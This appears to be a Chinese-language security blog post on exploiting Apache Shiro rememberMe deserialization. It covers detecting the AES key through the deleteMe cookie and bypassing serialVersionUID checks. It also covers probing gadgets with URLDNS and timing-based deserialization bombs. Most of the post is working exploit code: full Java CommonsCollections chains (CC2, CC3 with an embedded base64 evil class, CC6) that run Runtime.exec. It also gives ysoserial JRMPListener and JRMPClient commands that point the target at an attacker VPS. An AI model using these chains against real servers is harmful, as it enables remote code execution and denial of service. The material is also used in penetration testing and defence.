shiro的tricks

目录

探测Shiro Key的办法

在Shiro 反序列化rememberMe字段时,会经过这个方法。AbstractRememberMeManager#getRememberedPrincipals

正常的反序列化攻击途径是先从getRememberedSerializedIdentity方法中获取rememberMe的值,然后进行CBC填充,然后进行Base64解密 然后交给后面的convertBytesToPrincipals进行aes解密并将结果反序列化。

key不对

当反序列化时,rememberMe的key不对,会导致aes解密失败,产生报错被下面的catch块接收到抛出异常,我们看看catch块里面的onRememberedPrincipalFailure函数是什么

逐步跟进

跟进后发现forgetIdentity 获取了request、response对象并交给另一个重构方法处理

跟进后再跟进removeFrom

发现在返回头里加了cookie:rememberMe=deleteMe

key正确

key正确,在一般的利用情况下依旧会被AbstractRememberMeManager#getRememberedPrincipals 接受异常并抛出,究其原因,是在反序列化时代码中使用了强制类型转换,而我们攻击时序列化的类是无法转换为 PrincipalCoolection。

image-20210309214941029

但是如果我们序列化的类是PrincipalCollection的可反序列化子类,那么当key正确时响应头将不会有Set-Cookie: rememberMe=deleteMe,key不正确时则会有,便可以以此为基准检测key是否正确。

探测基准

那么总结一下上面的两种情况,要想达到只依赖shiro自身进行key检测,只需要满足两点:

1.构造一个继承 PrincipalCollection 的序列化对象。

2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

那么现在就存在类SimplePrincipalCollection,其继承自PrincipalCollection且可被反序列化,那么我们就可以用这个类来探测key了。

Shiro CC链相关问题

shiro中反序列化重写了resolveClass,不能处理数组,所以一些cc链在shiro中用就会有问题。

无数组改造

能改造成无数组形式的CC链只有 cc2、cc3、cc6

cc2

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

cc3

package com.shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public byte[] getPayload2() throws Exception{

        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","dwa");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        Transformer transformers = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        //第一个参数的map
        // get方法中调用的是map.get
        // 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
        HashMap<Object, Object> map2 = new HashMap<>();
        //hashMap的readObject时会调用hash方法
        // 然后key.hashCode() 会调用key的hashCode方法  key的值为tiedMapEntry
        //调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
        map2.put(tiedMapEntry, "sss");
        lazymap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(map2);
        objectOutputStream.close();
        return barr.toByteArray();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

cc6

package org.payload.cc.CC6;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.Tools.ClassTools;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.*;

import static org.Tools.ClassTools.setFieldValue;

public class CommonsCollections6TemplatesImpl {
    public Map CommonsCollections6TemplatesImpl(String args) throws Exception {
        ClassTools ct = new ClassTools();
        byte[] evilClass = ct.MakeEvilClass("org.Tools.evilclass.EvilClass");
        //byte[] evilClass = evilClass2("java.lang.Runtime.getRuntime().exec(\""+args+"\");");
        TemplatesImpl tmp = ct.template(evilClass);
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, tmp);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");
        return expMap;
    }
    public static byte[] CommonsCollections6TemplatesImplPayload(String args) throws Exception {
        ClassTools ct = new ClassTools();
        CommonsCollections6TemplatesImpl commonsCollections6Templates = new CommonsCollections6TemplatesImpl();
        Object evil = commonsCollections6Templates.CommonsCollections6TemplatesImpl(args);
        return ct.serial(evil);
    }
    public static  void main(String[] args) throws Exception {
        byte[] evilByteClass = CommonsCollections6TemplatesImplPayload("calc.exe");
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(evilByteClass));
        ois.readObject();
    }
}

JRMP信道

当然,如果JRMP联通了,直接走JRMP通道拿啥都可以打了

vps上执行以下命令,监听端口

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12006 CommonsCollections5 'calc'

我们再通过ysoserial生成payload

java -jar ysoserial-master-SNAPSHOT.jar JRMPClient 'vps_ip:12006'|base64|sed ':label;N;s/\n//;b label'

然后伪造cookie,发过去,成功弹计算器

image-20210310194746492

Serialize UID不一致绕过

在攻击时,如果构造的序列化对象SUID和目标上的对象SUID不一致,则无法完成反序列化抛出错误。 核心检测代码如下

  // SUID检查条件:是否都或都没有实现了Serializable接口 && 不是数组类 && suid不相同
        if (serializable == localDesc.serializable &&
            !cl.isArray() &&
            suid.longValue() != localDesc.getSerialVersionUID())
        {
            throw new InvalidClassException(localDesc.name,
                "local class incompatible: " +
                "stream classdesc serialVersionUID = " + suid +
                ", local class serialVersionUID = " +
                localDesc.getSerialVersionUID());
        }
  1. 动态生成一个A类不实现Serializable接口进行序列化。如果线上的A类是实现Serializable接口,第一个条件就不成立了直接绕过。如果线上的Class没有实现改接口,则两者suid都为0L,第三个条件不符合,自然无需检查。
  2. 直接序列化A[].class,第二个条件直接不符合,直接不用检查SUID,无需关心实现实现Serializable接口。

有反序列化点,探测存在的Gadget

ref:https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==\&mid=2247484178\&idx=1\&sn=228ccc3d624f2d64a6c1d51555c42eea\&chksm=cf36fb52f8417244ea608ea14da45b876548617864179c8da6df46010bed78aa41c4a2277cb8\&mpshare=1\&scene=23\&srcid=0223h9KLw3Bpv4B57cmWkp7z\&sharer_sharetime=1645787561952\&sharer_shareid=ff51a992c5bfd7616a29069bf0989669#rd

URLDNS

URLDNS链有如下代码

// java.util.HashMap#readObject
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
    ......
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
    }
}

当解析HashMap时,正常情况下会解析key中的对象,如果key时URL对象则会对其指定的DNS地址进行一次解。 但是若HashMap里key对应的value的对象不存在,就无法被反序列化,则会抛出错误,导致后面的DNS解析失败。

所以就可以以此为基准探测目标环境是否存在某个Class来推测目标环境是否存在某Gadget:若Gadget存在则会产生DNS解析,反之则不会产生DNS解析。

反序列化炸弹

通过构造特殊的多层嵌套HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器所有性能,导致拒绝服务。在这个基础上,我选择消耗部分性能达到间接延时的作用,来探测class。

由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在25到28之间,切记不要设置太大否则造成DOS。